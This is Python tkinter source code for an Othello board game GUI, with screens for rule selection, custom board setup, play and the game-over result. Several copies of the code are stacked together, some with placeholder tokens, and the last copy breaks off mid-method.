self.controller.Handler.GameParams['game_winner'] = condition if condition == '>': self.condition_label.configure(text= 'The winner is, the player with more discs.') else: self.condition_label.configure(text= 'The winner is, the player with less discs.') self.lesser_score.destroy() self.greater_score.destroy() self.set_vals.append('win') self.Check_Can_Start() def Check_Can_Start(self): if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in self.set_vals and 'move' in self.set_vals and 'win' in self. set_vals): self.Start_Game_Btn.configure(bg='#22ff22', activebackground= '#229922', command=lambda : self.Start_Custom_Board()) def Start_Custom_Board(self): self.controller.Pages['Setup_Board'].Setup_Board() self.controller.showPage('Setup_Board') self.controller.Pages['Setup_Board'].Instructions_Display() class Custom_Board(tk.Frame): FrameName = 'Setup_Board' def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller self.configure(bg='white') self.Title_Frame = tk.Frame(self, bg='white') self.Title_Frame.pack(side='top', fill='x') tk.Label(self.Title_Frame, text='Create Custom Board', bg='white', font=FONTS['medium']).pack(side='left') start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22', activebackground='#229922', font=FONTS['medium'], command=lambda : self.Start()) start.pack(side='right') self.Use_Board = tk.IntVar() Use_Board = tk.Checkbutton(self.Title_Frame, text= 'Use custom board', font=FONTS['medium'], bg='white', activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0 ) Use_Board.pack(side='right', padx=10) self.Board_Area = tk.Frame(self, bg='#009900') self.Board_Area.pack(side='top', fill='both', expand=True) self.Board = [] def Setup_Board(self): for widget in self.Board_Area.winfo_children(): widget.destroy() self.Board = [] for y in range(self.controller.Handler.GameParams['y_size']): row = [] for x in range(self.controller.Handler.GameParams['x_size']): height = self.Board_Area.winfo_height() width = self.Board_Area.winfo_width() if height > width: diameter = width / self.controller.Handler.GameParams[ 'x_size'] else: diameter = height / self.controller.Handler.GameParams[ 'y_size'] self.Board_Area.grid_columnconfigure(x, weight=1) self.Board_Area.grid_rowconfigure(y, weight=1) disc = wg.Disc(self.Board_Area, self.controller, diameter= diameter, mode='setup') disc.grid(row=y, column=x, sticky='nsew') row.append(disc) self.Board.append(row) def Parse_Board(self) ->list: new_board = [] for row in self.Board: new_row = [] for disc in row: if disc.Current_Color == 'white': new_row.append('W') elif disc.Current_Color == 'black': new_row.append('B') else: new_row.append(None) new_board.append(new_row) return new_board def Instructions_Display(self): showinfo('How to use', 'Click on a tile to cycle between white, black or empty. Check the "Use Custom Board" box to use this board!' ) def Start(self): if self.Use_Board.get(): self.controller.Handler.GameParams['board'] = self.Parse_Board() self.controller.Begin_Game() self.controller.Pages['Game'].__GUI_init__() self.controller.Pages['Game'].Update_Board() self.controller.showPage('Game') class Game(tk.Frame): FrameName = 'Game' def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller self.configure(bg='white') self.Status_Bar = tk.Frame(self, bg='white') self.Status_Bar.pack(side='top', fill='x') self.Status_Bar.grid_columnconfigure(0, weight=1) self.Status_Bar.grid_columnconfigure(1, weight=1) self.Status_Bar.grid_columnconfigure(2, weight=1) self.Status_Bar.grid_rowconfigure(0, weight=1) self.Current_Player = tk.Label(self.Status_Bar, text='None', bg= 'white', font=FONTS['medium']) self.Current_Player.grid(row=0, column=0) self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white', font=FONTS['medium']) self.Game_Type.grid(row=0, column=1) self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White', bg='white', font=FONTS['medium']) self.Score.grid(row=0, column=2) self.Board_Area = tk.Frame(self, bg='#009900') self.Board_Area.pack(side='top', fill='both', expand=True) self.Board = [] def __GUI_init__(self): for y in range(self.controller.Handler.GameParams['y_size']): row = [] for x in range(self.controller.Handler.GameParams['x_size']): height = self.Board_Area.winfo_height() width = self.Board_Area.winfo_width() if height > width: diameter = width / self.controller.Handler.GameParams[ 'x_size'] else: diameter = height / self.controller.Handler.GameParams[ 'y_size'] self.Board_Area.grid_columnconfigure(x, weight=1) self.Board_Area.grid_rowconfigure(y, weight=1) disc = wg.Disc(self.Board_Area, self.controller, diameter= diameter, command=lambda x=x, y=y: self.Disc_Function(x, y) ) disc.grid(row=y, column=x, sticky='nsew') row.append(disc) self.Board.append(row) self.Update_Board() def Reset_Game(self): self.Board = [] for widget in self.Board_Area.winfo_children(): widget.destroy() def Disc_Function(self, x: int, y: int): if not self.controller.Handler.Move(x + 1, y + 1): self.Invalid_Move() def Invalid_Move(self): showerror('Invalid Move', 'You cannot move there!') def Update_Board(self): for y in range(len(self.Board)): for x in range(len(self.Board[y])): game_piece = self.controller.Handler.Game.Board[y][x] if game_piece == None: pass elif game_piece == 'B': if self.Board[y][x].Current_Color != 'black': self.Board[y][x].Set_Piece_Color('black') elif game_piece == 'W': if self.Board[y][x].Current_Color != 'white': self.Board[y][x].Set_Piece_Color('white') def Update_Current_Player(self): self.Current_Player.config(text='Turn: ' + self.controller. Get_Current_Player()) def Update_Game_Type(self): g_type = self.controller.Handler.Get_Game_Type() self.Game_Type.configure(text='Rules: ' + g_type) def Update_Score(self): b, w = self.controller.Handler.Get_Score() self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w)) def Full_Update(self): self.Update_Score() self.Update_Current_Player() self.Update_Board() class Postgame(tk.Frame): FrameName = 'Postgame' def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller self.configure(bg='white') self.Title = tk.Label(self, text='Game Over!', bg='white', font= FONTS['large']) self.Title.pack(side='top') Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10 ) self.Winner = tk.Label(self, text='The winner is black-discs.', bg= 'white', font=FONTS['medium']) self.Winner.pack(side='top') self.Buttons = tk.Frame(self, bg='white') self.Buttons.pack() Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font= FONTS['medium'], command=lambda : self.Replay()) Replay.grid(row=0, column=0) Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font= FONTS['medium'], command=lambda : self.Quit()) Quit.grid(row=0, column=1) self.Board_Area = tk.Frame(self, bg='white') self.Board_Area.pack(side='bottom') self.Score = tk.Label(self.Board_Area, text='', bg='white', font= FONTS['medium']) self.Score.pack() self.Board_Display = tk.Frame(self.Board_Area, bg='green') self.Board_Display.pack() self.Board = [] def Replay(self): self.controller.Replay() def Quit(self): self.controller.destroy() exit() def Update_Board(self): for widget in self.Board_Display.winfo_children(): widget.destroy() for y in range(self.controller.Handler.GameParams['y_size']): row = [] for x in range(self.controller.Handler.GameParams['x_size']): self.Board_Area.grid_columnconfigure(x, weight=1) self.Board_Area.grid_rowconfigure(y, weight=1) col = None place_col = self.controller.Handler.Game.Board[y][x] if place_col == 'B': col = 'black' elif place_col == 'W': col = 'white' disc = wg.Disc(self.Board_Display, self.controller, col=col, diameter=50) disc.grid(row=y, column=x, sticky='nsew') row.append(disc) self.Board.append(row) def Update(self): winner, scores = self.controller.Handler.Get_Winner() if winner.lower() == 'b': winner = 'black-discs' elif winner.lower() == 'w': winner = 'white-discs' else: winner == 'no one' self.Winner.configure(text='The winner is ' + winner) self.Score.configure(text='Black: {0!s} | {1!s}:White'.format( scores[0], scores[1])) self.Update_Board() <mask token>
<mask token> FONTS = {'large': ('Helvetica', 20), 'medium': ('Helvetica', 16), 'small': ('Helvetica', 12)} class Handler: def __init__(self): self.Game = None self.GameParams = {} self.Window = Window(self) self.Window.mainloop() def Replay(self): self.GameParams = {} del self.Game self.Game = None def Is_Running(self): return self.Game.Running def Start_Game(self): self.Game = lgc.Game(**self.GameParams) self.Game.Start_Game() self.Update_Game() self.Window.Pages['Game'].Update_Game_Type() def Get_Current_Player(self) ->str: if self.Game.Running: if self.Game.Current_Player == 'B': return 'black' else: return 'white' else: return 'None' def Get_Game_Type(self) ->str: g = self.Game.Game_Type if g == 1: return 'SIMPLE' else: return 'FULL' def Get_Score(self) ->tuple: s = self.Game.Get_Discs() return s[0], s[1] def Move(self, x: int, y: int) ->bool: complete = self.Game.Next_Move(x, y) if complete: self.Update_Game() self.Game_Complete_Check() return True self.Update_Game() self.Game_Complete_Check() return False def Get_Winner(self) ->tuple: return self.Game.Check_Winner() def Game_Complete_Check(self): if self.Is_Running() == False: self.Window.showPage('Postgame') self.Window.Pages['Postgame'].Update() def Update_Game(self): self.Window.Pages['Game'].Full_Update() class Window(tk.Tk): def __init__(self, controller, *args, **kwargs): tk.Tk.__init__(self, *args, **kwargs) self.Handler = controller self.title('Othello') try: self.iconbitmap('Icon.ico') except: pass self.minsize(600, 600) self.container = tk.Frame(self) self.container.pack(side='top', fill='both', expand=True) self.container.grid_rowconfigure(0, weight=1) self.container.grid_columnconfigure(0, weight=1) self.Pages = {} for page in (Pregame, Custom_Board, Game, Postgame): new = page(self.container, self) self.Pages[page.FrameName] = new new.grid(row=0, column=0, sticky='nsew') self.showPage('Pregame') def showPage(self, pagename: str): page = self.Pages[pagename] page.tkraise() def Begin_Game(self): self.Handler.Start_Game() def Get_Current_Player(self) ->str: return self.Handler.Get_Current_Player() def Replay(self): self.Pages['Pregame'].__GUI_Reset__() self.Pages['Game'].Reset_Game() self.Handler.Replay() self.showPage('Pregame') class Pregame(tk.Frame): FrameName = 'Pregame' def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller self.configure(bg='white') self.set_vals = [] self.__GUI_Reset__() def __GUI_Reset__(self): for widget in self.winfo_children(): widget.destroy() tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack( side='top') Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10 ) rule_set_frame = tk.Frame(self, bg='white') rule_set_frame.pack(pady=10) self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font= FONTS['medium'], bg='white') self.rs_label.pack(side='top') self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[ 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set( 'full')) self.full_btn.pack() self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font= FONTS['medium'], bg='#bbbbbb', command=lambda : self. Select_Rule_Set('simple')) self.simple_btn.pack() row_frame = tk.Frame(self, bg='white') row_frame.pack(pady=10) self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[ 'medium'], bg='white') self.row_label.grid(row=0, column=0, columnspan=7) self.Rows_Buttons = [] place = 0 for rows in [4, 6, 8, 10, 12, 14, 16]: x = tk.Button(row_frame, text=str(rows), font=FONTS['small'], bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows)) x.grid(row=1, column=place) self.Rows_Buttons.append(x) place += 1 col_frame = tk.Frame(self, bg='white') col_frame.pack(pady=10) self.col_label = tk.Label(col_frame, text='Board Columns', font= FONTS['medium'], bg='white') self.col_label.grid(row=0, column=0, columnspan=7) self.Cols_Buttons = [] place = 0 for cols in [4, 6, 8, 10, 12, 14, 16]: x = tk.Button(col_frame, text=str(cols), font=FONTS['small'], bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols)) x.grid(row=1, column=place) self.Cols_Buttons.append(x) place += 1 first_move_frame = tk.Frame(self, bg='white') first_move_frame.pack(pady=10) self.first_move_label = tk.Label(first_move_frame, text= 'First to move', bg='white', font=FONTS['medium']) self.first_move_label.grid(row=0, column=0, columnspan=2) self.black_btn = tk.Button(first_move_frame, text='Black', bg= '#bbbbbb', font=FONTS['medium'], command=lambda : self. Select_First_Move('black')) self.black_btn.grid(row=1, column=0) self.white_btn = tk.Button(first_move_frame, text='White', bg= '#bbbbbb', font=FONTS['medium'], command=lambda : self. Select_First_Move('white')) self.white_btn.grid(row=1, column=1) condition_frame = tk.Frame(self, bg='white') condition_frame.pack(pady=10) self.condition_label = tk.Label(condition_frame, text= 'The winner is, the player with..', bg='white', font=FONTS[ 'medium']) self.condition_label.grid(row=0, column=0, columnspan=2) self.greater_score = tk.Button(condition_frame, text='more discs.', bg='#bbbbbb', font=FONTS['medium'], command=lambda : self. Select_Condition('>')) self.greater_score.grid(row=1, column=0) self.lesser_score = tk.Button(condition_frame, text='less discs.', bg='#bbbbbb', font=FONTS['medium'], command=lambda : self. Select_Condition('<')) self.lesser_score.grid(row=1, column=1) self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222', activebackground='#992222', font=FONTS['medium']) self.Start_Game_Btn.pack(side='bottom') def Select_Rule_Set(self, _set: str): if _set == 'simple': self.controller.Handler.GameParams['game_type'] = 1 else: self.controller.Handler.GameParams['game_type'] = 2 self.full_btn.destroy() self.simple_btn.destroy() self.rs_label.configure(text='Rule Set: ' + _set.upper()) self.set_vals.append('rules') self.Check_Can_Start() def Select_Rows(self, rows: int): self.controller.Handler.GameParams['y_size'] = rows for button in self.Rows_Buttons: button.destroy() self.row_label.configure(text='Board Rows: ' + str(rows)) self.set_vals.append('rows') self.Check_Can_Start() def Select_Cols(self, cols: int): self.controller.Handler.GameParams['x_size'] = cols for button in self.Cols_Buttons: button.destroy() self.col_label.configure(text='Board Columns: ' + str(cols)) self.set_vals.append('cols') self.Check_Can_Start() def Select_First_Move(self, mover: str): if mover == 'black': self.controller.Handler.GameParams['first_move'] = 'B' else: self.controller.Handler.GameParams['first_move'] = 'W' self.black_btn.destroy() self.white_btn.destroy() self.first_move_label.configure(text='First to move: ' + mover) self.set_vals.append('move') self.Check_Can_Start() def Select_Condition(self, condition: str): self.controller.Handler.GameParams['game_winner'] = condition if condition == '>': self.condition_label.configure(text= 'The winner is, the player with more discs.') else: self.condition_label.configure(text= 'The winner is, the player with less discs.') self.lesser_score.destroy() self.greater_score.destroy() self.set_vals.append('win') self.Check_Can_Start() def Check_Can_Start(self): if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in self.set_vals and 'move' in self.set_vals and 'win' in self. set_vals): self.Start_Game_Btn.configure(bg='#22ff22', activebackground= '#229922', command=lambda : self.Start_Custom_Board()) def Start_Custom_Board(self): self.controller.Pages['Setup_Board'].Setup_Board() self.controller.showPage('Setup_Board') self.controller.Pages['Setup_Board'].Instructions_Display() class Custom_Board(tk.Frame): FrameName = 'Setup_Board' def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller self.configure(bg='white') self.Title_Frame = tk.Frame(self, bg='white') self.Title_Frame.pack(side='top', fill='x') tk.Label(self.Title_Frame, text='Create Custom Board', bg='white', font=FONTS['medium']).pack(side='left') start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22', activebackground='#229922', font=FONTS['medium'], command=lambda : self.Start()) start.pack(side='right') self.Use_Board = tk.IntVar() Use_Board = tk.Checkbutton(self.Title_Frame, text= 'Use custom board', font=FONTS['medium'], bg='white', activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0 ) Use_Board.pack(side='right', padx=10) self.Board_Area = tk.Frame(self, bg='#009900') self.Board_Area.pack(side='top', fill='both', expand=True) self.Board = [] def Setup_Board(self): for widget in self.Board_Area.winfo_children(): widget.destroy() self.Board = [] for y in range(self.controller.Handler.GameParams['y_size']): row = [] for x in range(self.controller.Handler.GameParams['x_size']): height = self.Board_Area.winfo_height() width = self.Board_Area.winfo_width() if height > width: diameter = width / self.controller.Handler.GameParams[ 'x_size'] else: diameter = height / self.controller.Handler.GameParams[ 'y_size'] self.Board_Area.grid_columnconfigure(x, weight=1) self.Board_Area.grid_rowconfigure(y, weight=1) disc = wg.Disc(self.Board_Area, self.controller, diameter= diameter, mode='setup') disc.grid(row=y, column=x, sticky='nsew') row.append(disc) self.Board.append(row) def Parse_Board(self) ->list: new_board = [] for row in self.Board: new_row = [] for disc in row: if disc.Current_Color == 'white': new_row.append('W') elif disc.Current_Color == 'black': new_row.append('B') else: new_row.append(None) new_board.append(new_row) return new_board def Instructions_Display(self): showinfo('How to use', 'Click on a tile to cycle between white, black or empty. Check the "Use Custom Board" box to use this board!' ) def Start(self): if self.Use_Board.get(): self.controller.Handler.GameParams['board'] = self.Parse_Board() self.controller.Begin_Game() self.controller.Pages['Game'].__GUI_init__() self.controller.Pages['Game'].Update_Board() self.controller.showPage('Game') class Game(tk.Frame): FrameName = 'Game' def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller self.configure(bg='white') self.Status_Bar = tk.Frame(self, bg='white') self.Status_Bar.pack(side='top', fill='x') self.Status_Bar.grid_columnconfigure(0, weight=1) self.Status_Bar.grid_columnconfigure(1, weight=1) self.Status_Bar.grid_columnconfigure(2, weight=1) self.Status_Bar.grid_rowconfigure(0, weight=1) self.Current_Player = tk.Label(self.Status_Bar, text='None', bg= 'white', font=FONTS['medium']) self.Current_Player.grid(row=0, column=0) self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white', font=FONTS['medium']) self.Game_Type.grid(row=0, column=1) self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White', bg='white', font=FONTS['medium']) self.Score.grid(row=0, column=2) self.Board_Area = tk.Frame(self, bg='#009900') self.Board_Area.pack(side='top', fill='both', expand=True) self.Board = [] def __GUI_init__(self): for y in range(self.controller.Handler.GameParams['y_size']): row = [] for x in range(self.controller.Handler.GameParams['x_size']): height = self.Board_Area.winfo_height() width = self.Board_Area.winfo_width() if height > width: diameter = width / self.controller.Handler.GameParams[ 'x_size'] else: diameter = height / self.controller.Handler.GameParams[ 'y_size'] self.Board_Area.grid_columnconfigure(x, weight=1) self.Board_Area.grid_rowconfigure(y, weight=1) disc = wg.Disc(self.Board_Area, self.controller, diameter= diameter, command=lambda x=x, y=y: self.Disc_Function(x, y) ) disc.grid(row=y, column=x, sticky='nsew') row.append(disc) self.Board.append(row) self.Update_Board() def Reset_Game(self): self.Board = [] for widget in self.Board_Area.winfo_children(): widget.destroy() def Disc_Function(self, x: int, y: int): if not self.controller.Handler.Move(x + 1, y + 1): self.Invalid_Move() def Invalid_Move(self): showerror('Invalid Move', 'You cannot move there!') def Update_Board(self): for y in range(len(self.Board)): for x in range(len(self.Board[y])): game_piece = self.controller.Handler.Game.Board[y][x] if game_piece == None: pass elif game_piece == 'B': if self.Board[y][x].Current_Color != 'black': self.Board[y][x].Set_Piece_Color('black') elif game_piece == 'W': if self.Board[y][x].Current_Color != 'white': self.Board[y][x].Set_Piece_Color('white') def Update_Current_Player(self): self.Current_Player.config(text='Turn: ' + self.controller. Get_Current_Player()) def Update_Game_Type(self): g_type = self.controller.Handler.Get_Game_Type() self.Game_Type.configure(text='Rules: ' + g_type) def Update_Score(self): b, w = self.controller.Handler.Get_Score() self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w)) def Full_Update(self): self.Update_Score() self.Update_Current_Player() self.Update_Board() class Postgame(tk.Frame): FrameName = 'Postgame' def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller self.configure(bg='white') self.Title = tk.Label(self, text='Game Over!', bg='white', font= FONTS['large']) self.Title.pack(side='top') Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10 ) self.Winner = tk.Label(self, text='The winner is black-discs.', bg= 'white', font=FONTS['medium']) self.Winner.pack(side='top') self.Buttons = tk.Frame(self, bg='white') self.Buttons.pack() Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font= FONTS['medium'], command=lambda : self.Replay()) Replay.grid(row=0, column=0) Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font= FONTS['medium'], command=lambda : self.Quit()) Quit.grid(row=0, column=1) self.Board_Area = tk.Frame(self, bg='white') self.Board_Area.pack(side='bottom') self.Score = tk.Label(self.Board_Area, text='', bg='white', font= FONTS['medium']) self.Score.pack() self.Board_Display = tk.Frame(self.Board_Area, bg='green') self.Board_Display.pack() self.Board = [] def Replay(self): self.controller.Replay() def Quit(self): self.controller.destroy() exit() def Update_Board(self): for widget in self.Board_Display.winfo_children(): widget.destroy() for y in range(self.controller.Handler.GameParams['y_size']): row = [] for x in range(self.controller.Handler.GameParams['x_size']): self.Board_Area.grid_columnconfigure(x, weight=1) self.Board_Area.grid_rowconfigure(y, weight=1) col = None place_col = self.controller.Handler.Game.Board[y][x] if place_col == 'B': col = 'black' elif place_col == 'W': col = 'white' disc = wg.Disc(self.Board_Display, self.controller, col=col, diameter=50) disc.grid(row=y, column=x, sticky='nsew') row.append(disc) self.Board.append(row) def Update(self): winner, scores = self.controller.Handler.Get_Winner() if winner.lower() == 'b': winner = 'black-discs' elif winner.lower() == 'w': winner = 'white-discs' else: winner == 'no one' self.Winner.configure(text='The winner is ' + winner) self.Score.configure(text='Black: {0!s} | {1!s}:White'.format( scores[0], scores[1])) self.Update_Board() if __name__ == '__main__': Window = Handler()
import tkinter as tk import Widgets as wg import Logic as lgc from tkinter.ttk import Separator from tkinter.messagebox import showerror, showinfo # Fonts that we can utilise FONTS = {"large":("Helvetica", 20), "medium":("Helvetica", 16), "small":("Helvetica", 12)} class Handler: # Handles the window and the Game interaction def __init__(self): # Game Handle self.Game = None self.GameParams = {} # Window Handle self.Window = Window(self) self.Window.mainloop() def Replay (self): # Reset attributes and classes self.GameParams = {} del self.Game self.Game = None def Is_Running (self): return self.Game.Running def Start_Game(self): # Begin the game, run the updates needed. self.Game = lgc.Game(**self.GameParams) self.Game.Start_Game() # Update Game page self.Update_Game() self.Window.Pages["Game"].Update_Game_Type() def Get_Current_Player(self) -> str: # get the current player whose turn it is if self.Game.Running: if self.Game.Current_Player == "B": return "black" else: return "white" else: return "None" def Get_Game_Type(self) -> str: # Get the game rule type g = self.Game.Game_Type if g == 1: return "SIMPLE" else: return "FULL" def Get_Score(self) -> tuple: # Get the current score s = self.Game.Get_Discs() return s[0], s[1] # b, w def Move(self, x: int, y: int) -> bool: # Make a move on a given place complete = self.Game.Next_Move(x, y) if complete: self.Update_Game() self.Game_Complete_Check() return True self.Update_Game() self.Game_Complete_Check() return False def Get_Winner(self) -> tuple: # Gets the winner of the game return self.Game.Check_Winner() def Game_Complete_Check(self): # Check if the game is over and act accordingly if self.Is_Running() == False: # Run Game Over feature here self.Window.showPage("Postgame") # Update the post page self.Window.Pages["Postgame"].Update() def Update_Game(self): # Run a full update on the game self.Window.Pages["Game"].Full_Update() class Window (tk.Tk): # This will be the main window of the GUI def __init__ (self, controller, *args, **kwargs): tk.Tk.__init__(self, *args, **kwargs) self.Handler = controller # This is handler between the game and window # Root attributes self.title("Othello") try: self.iconbitmap("Icon.ico") except: pass self.minsize(600, 600) #self.maxsize(1000,1000) # Master frame self.container = tk.Frame(self) self.container.pack(side="top", fill="both", expand=True) self.container.grid_rowconfigure(0, weight=1) self.container.grid_columnconfigure(0, weight=1) # Set up the pages self.Pages = {} for page in (Pregame, Custom_Board, Game, Postgame): # Initiate each page and add them to the dictionary # Dictionary will use the name of the class so that it can be accessed # without the knowledge of the clas name new = page(self.container, self) self.Pages[page.FrameName] = new new.grid(row=0, column=0, sticky="nsew") # Show the initial page self.showPage("Pregame") # Window def showPage(self, pagename: str): # Show a chosen page page = self.Pages[pagename] page.tkraise() # Game def Begin_Game(self): # Start the game self.Handler.Start_Game() def Get_Current_Player (self) -> str: # Get the current player return self.Handler.Get_Current_Player() def Replay(self): # Clean up the old game, start an new one self.Pages["Pregame"].__GUI_Reset__() self.Pages["Game"].Reset_Game() self.Handler.Replay() self.showPage("Pregame") class Pregame (tk.Frame): # The 'home' screen FrameName = "Pregame" def __init__ (self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller self.configure(bg="white") self.set_vals = [] self.__GUI_Reset__() def __GUI_Reset__(self): # This will clean the screen and then recreate it, this is essential for replaying the game for widget in self.winfo_children(): widget.destroy() # Title Banner tk.Label(self, text="Otello", font=FONTS["large"], bg="white").pack(side="top") Separator(self, orient="horizontal").pack(side="top", fill="x", padx=10) # Rule Set rule_set_frame = tk.Frame(self, bg="white") rule_set_frame.pack(pady=10) # Subheading self.rs_label = tk.Label(rule_set_frame, text="Rule Set", font=FONTS["medium"], bg="white") self.rs_label.pack(side="top") self.full_btn = tk.Button(rule_set_frame, text="FULL", font=FONTS["medium"], bg="#bbbbbb", command=lambda:self.Select_Rule_Set("full")) self.full_btn.pack() self.simple_btn = tk.Button(rule_set_frame, text="SIMPLE", font=FONTS["medium"], bg="#bbbbbb", command=lambda:self.Select_Rule_Set("simple")) self.simple_btn.pack() # Row Size row_frame = tk.Frame(self, bg="white") row_frame.pack(pady=10) self.row_label = tk.Label(row_frame, text="Board Rows", font=FONTS["medium"], bg="white") self.row_label.grid(row=0, column=0, columnspan=7) self.Rows_Buttons = [] place = 0 for rows in [4, 6, 8, 10, 12, 14, 16]: x = tk.Button(row_frame, text=str(rows), font=FONTS["small"], bg="#bbbbbb", command=lambda rows=rows: self.Select_Rows(rows)) x.grid(row=1, column=place) self.Rows_Buttons.append(x) place += 1 # Column Size col_frame = tk.Frame(self, bg="white") col_frame.pack(pady=10) self.col_label = tk.Label(col_frame, text="Board Columns", font=FONTS["medium"], bg="white") self.col_label.grid(row=0, column=0, columnspan=7) self.Cols_Buttons = [] place = 0 for cols in [4, 6, 8, 10, 12, 14, 16]: x = tk.Button(col_frame, text=str(cols), font=FONTS["small"], bg="#bbbbbb", command=lambda cols=cols: self.Select_Cols(cols)) x.grid(row=1, column=place) self.Cols_Buttons.append(x) place += 1 # First to Move first_move_frame = tk.Frame(self, bg="white") first_move_frame.pack(pady=10) self.first_move_label = tk.Label(first_move_frame, text="First to move", bg="white", font=FONTS["medium"]) self.first_move_label.grid(row=0, column=0, columnspan=2) self.black_btn = tk.Button(first_move_frame, text="Black", bg="#bbbbbb", font=FONTS["medium"], command=lambda:self.Select_First_Move("black")) self.black_btn.grid(row=1, column=0) self.white_btn = tk.Button(first_move_frame, text="White", bg="#bbbbbb", font=FONTS["medium"], command=lambda:self.Select_First_Move("white")) self.white_btn.grid(row=1, column=1) # How to win condition_frame = tk.Frame(self, bg="white") condition_frame.pack(pady=10) self.condition_label = tk.Label(condition_frame, text="The winner is, the player with..", bg="white", font=FONTS["medium"]) self.condition_label.grid(row=0, column=0, columnspan=2) self.greater_score = tk.Button(condition_frame, text="more discs.", bg="#bbbbbb", font=FONTS["medium"], command=lambda: self.Select_Condition(">")) self.greater_score.grid(row=1, column=0) self.lesser_score = tk.Button(condition_frame, text="less discs.", bg="#bbbbbb", font=FONTS["medium"], command=lambda: self.Select_Condition("<")) self.lesser_score.grid(row=1, column=1) # Start the game button self.Start_Game_Btn = tk.Button(self, text="Start", bg="#ff2222", activebackground="#992222", font=FONTS["medium"]) self.Start_Game_Btn.pack(side="bottom") def Select_Rule_Set(self, _set: str): # sets the rule set of the game if _set == "simple": self.controller.Handler.GameParams["game_type"] = 1 # Corresponds to the game logic else: self.controller.Handler.GameParams["game_type"] = 2 self.full_btn.destroy() self.simple_btn.destroy() self.rs_label.configure(text="Rule Set: " + _set.upper()) self.set_vals.append("rules") self.Check_Can_Start() def Select_Rows(self, rows: int): # Sets the rows of the board self.controller.Handler.GameParams["y_size"] = rows for button in self.Rows_Buttons: button.destroy() self.row_label.configure(text="Board Rows: " + str(rows)) self.set_vals.append("rows") self.Check_Can_Start() def Select_Cols(self, cols: int): # sets the columns of the board self.controller.Handler.GameParams["x_size"] = cols for button in self.Cols_Buttons: button.destroy() self.col_label.configure(text="Board Columns: " + str(cols)) self.set_vals.append("cols") self.Check_Can_Start() def Select_First_Move (self, mover: str): # Sets the first player to make a move if mover == "black": self.controller.Handler.GameParams["first_move"] = "B" else: self.controller.Handler.GameParams["first_move"] = "W" self.black_btn.destroy() self.white_btn.destroy() self.first_move_label.configure(text="First to move: " + mover) self.set_vals.append("move") self.Check_Can_Start() def Select_Condition(self, condition: str):# This will set the game win condition self.controller.Handler.GameParams["game_winner"] = condition if condition == ">": self.condition_label.configure(text="The winner is, the player with more discs.") else: self.condition_label.configure(text="The winner is, the player with less discs.") self.lesser_score.destroy() self.greater_score.destroy() self.set_vals.append("win") self.Check_Can_Start() def Check_Can_Start (self): # This will start the game if the game can be started if "rules" in self.set_vals and\ "rows" in self.set_vals and\ "cols" in self.set_vals and\ "move" in self.set_vals and\ "win" in self.set_vals: self.Start_Game_Btn.configure(bg="#22ff22", activebackground="#229922", command=lambda: self.Start_Custom_Board()) def Start_Custom_Board (self): self.controller.Pages["Setup_Board"].Setup_Board() self.controller.showPage("Setup_Board") self.controller.Pages["Setup_Board"].Instructions_Display() class Custom_Board (tk.Frame): FrameName = "Setup_Board" def __init__ (self, parent, controller): tk.Frame.__init__ (self, parent) self.controller = controller self.configure(bg="white") # Title bar self.Title_Frame = tk.Frame(self, bg="white") self.Title_Frame.pack(side="top", fill="x") # Title tk.Label(self.Title_Frame, text="Create Custom Board", bg="white", font=FONTS["medium"]).pack(side="left") # Start Button start = tk.Button(self.Title_Frame, text="Play", bg="#22ff22", activebackground="#229922", font=FONTS["medium"], command=lambda: self.Start()) start.pack(side="right") # Use custom Board check button self.Use_Board = tk.IntVar() Use_Board = tk.Checkbutton(self.Title_Frame, text="Use custom board", font=FONTS["medium"], bg="white", activebackground="white", var=self.Use_Board, onvalue=1, offvalue=0) Use_Board.pack(side="right", padx=10) # Board self.Board_Area = tk.Frame(self, bg="#009900") self.Board_Area.pack(side="top", fill="both", expand=True) self.Board = [] def Setup_Board (self): for widget in self.Board_Area.winfo_children(): widget.destroy() self.Board = [] for y in range(self.controller.Handler.GameParams["y_size"]): row = [] for x in range(self.controller.Handler.GameParams["x_size"]): # Diameter with respond to the length of the shortest side of the board height = self.Board_Area.winfo_height() width = self.Board_Area.winfo_width() if height > width: diameter = width/self.controller.Handler.GameParams["x_size"] else: diameter = height/self.controller.Handler.GameParams["y_size"] self.Board_Area.grid_columnconfigure(x, weight=1) self.Board_Area.grid_rowconfigure(y, weight=1) disc = wg.Disc(self.Board_Area, self.controller, diameter=diameter, mode="setup") disc.grid(row=y, column=x, sticky="nsew") row.append(disc) self.Board.append(row) def Parse_Board (self) -> list: # This will parse the GUI board and create a board that will work for the Game() new_board = [] for row in self.Board: 